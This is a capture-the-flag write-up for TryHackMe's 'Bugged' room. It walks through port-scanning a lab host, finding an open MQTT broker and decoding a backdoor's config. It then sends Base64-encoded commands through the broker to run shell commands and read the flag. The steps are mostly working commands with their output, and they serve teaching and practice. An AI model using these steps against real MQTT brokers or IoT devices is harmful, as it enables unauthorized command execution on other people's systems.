TryHackMe Bugged Writeup: Exploiting an MQTT IoT Backdoor
Challenge Info
- Platform: TryHackMe
- Room name: Bugged
- Difficulty: Easy
- Goal: Exploit an IoT backdoor over the MQTT protocol and grab the flag
- Link: https://tryhackme.com/room/bugged
Step 1: Recon and Scanning
Installing RustScan
I went with rustscan here because IoT devices may listen on non-standard ports, so I like to make full-port scanning a habit, and rustscan happens to be great at exactly that.
# Install the Rust toolchain
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
# Install RustScan
cargo install rustscan
Running the port scan
rustscan -a 10.201.108.223 -b 2000 -t 2000 -- -A -sV -sC
Scan results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
1883/tcp open mosquitto version 2.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key findings:
- Port 22: SSH service
- Port 1883: MQTT Broker (Mosquitto 2.0.14) ⭐
Step 2: MQTT Information Gathering
Install the MQTT client tools
sudo apt install mosquitto-clients -y
Subscribe to all topics
mosquitto_sub -h 10.201.108.223 -t '#' -v
The normal IoT device topics I observed
patio/lights {"id":197558290292873002,"color":"GREEN","status":"OFF"}
storage/thermostat {"id":8177670935004820609,"temperature":23.712273}
livingroom/speaker {"id":14459096491979085303,"gain":41}
kitchen/toaster {"id":9135607054993651940,"in_use":false,"temperature":150.39072}
frontdeck/camera {"id":4606567988321021231,"yaxis":-47.708282,"xaxis":126.773254}
🚨 A suspicious topic turns up
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
What stands out:
- The topic name is a random string (unlike the readable names of the other IoT devices)
- The payload looks like it might be Base64-encoded
- The topic name contains the keyword "config"
Step 3: Decode the Backdoor Config
Decode the Base64
echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d
The decoded result
{
"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
"registered_commands": ["HELP","CMD","SYS"],
"pub_topic": "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub",
"sub_topic": "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"
}
Analyzing the backdoor config:
- id: the backdoor's unique identifier
- registered_commands: three supported commands (HELP, CMD, SYS)
- pub_topic: the topic the backdoor publishes its responses to
- sub_topic: the topic the backdoor receives commands on
Step 4: Understanding the MQTT Pub/Sub Model
⚠️ Key concept (easy to get backwards)
From the backdoor program's point of view:
pub_topic= where the backdoor publishes its responsessub_topic= where the backdoor subscribes for commands
From the attacker's point of view (the opposite):
pub_topic= what we subscribe to in order to receive responsessub_topic= where we send commands
The correct way to communicate
You need two terminals!
Attacker terminal 1: subscribe to pub_topic to receive responses
↓
mosquitto_sub -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub'
Attacker terminal 2: send commands to sub_topic
↓
mosquitto_pub -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<base64_command>'
Step 5: Interacting with the Backdoor
Open two terminals
Terminal 1 - listen for responses:
mosquitto_sub -h 10.201.108.223 -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub' -v
Terminal 2 - send the HELP command:
# Build the JSON for the HELP command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"HELP"}' | base64
# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ==
# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ=='
The response received on terminal 1
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==
Decode the HELP response
echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d | jq
The HELP message contents
{
"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
"response": "Message format:\n Base64({\n \"id\": \"<Backdoor ID>\",\n \"cmd\": \"<Command>\",\n \"arg\": \"<arg>\",\n })\n\nCommands:\n HELP: Display help message (takes no arg)\n CMD: Run a shell command\n SYS: Return system information (takes no arg)\n"
}
Key takeaways:
- The command format needs an
"arg"field (not "command") - The CMD command can run shell commands
- Everything has to be Base64-encoded
Step 6: Running System Commands
List the files in the current directory
# Build the command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"ls -la"}' | base64
# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9
# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9'
The response received (after decoding)
{
"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
"response": "total 32\ndrwxr-xr-x 1 challenge challenge 4096 Mar 22 2022 .\ndrwxr-xr-x 1 root root 4096 Mar 22 2022 ..\n-rw------- 1 challenge challenge 28 Mar 22 2022 .bash_history\n-rw-r--r-- 1 challenge challenge 220 Aug 4 2021 .bash_logout\n-rw-r--r-- 1 challenge challenge 3526 Aug 4 2021 .bashrc\n-rw-r--r-- 1 challenge challenge 807 Aug 4 2021 .profile\n-rw-r--r-- 1 root root 39 Mar 21 2022 flag.txt\n"
}
🚩 Found flag.txt!
Step 7: Read the Flag
Run a cat command
# Build the read command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"cat flag.txt"}' | base64
# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9
# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9'
The final response (after decoding)
{
"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
"response": "flag{Redacted}\n"
}
Technical Recap
1. MQTT basics
MQTT = Message Queuing Telemetry Transport
- A lightweight pub/sub messaging protocol
- Designed specifically for IoT devices
- Default ports: 1883 (plaintext), 8883 (TLS)
2. Mosquitto client tools
# Subscribe to a topic
mosquitto_sub -h <host> -t '<topic>' -v
# Subscribe to all topics
mosquitto_sub -h <host> -t '#' -v
# Publish a message
mosquitto_pub -h <host> -t '<topic>' -m '<message>'
3. Getting the pub/sub perspective right
Naming from the server's point of view:
pub_topic → where the server publishes → the client subscribes
sub_topic → where the server subscribes → the client publishes
Attacker operations:
Subscribe to pub_topic (receive responses)
Publish to sub_topic (send commands)
Lessons Learned
At first I subscribed to the wrong topic, so after sending commands I never got anything back. Once I swapped them around, it worked!
❌ Subscribe to sub_topic and wait for a response → nothing comes back
✅ Subscribe to pub_topic to receive responses
One more tip: if you have no idea how to use something at first, always check HELP first to figure out how this MQTT interaction works. That's exactly why Step 5 goes straight to HELP.
Member discussion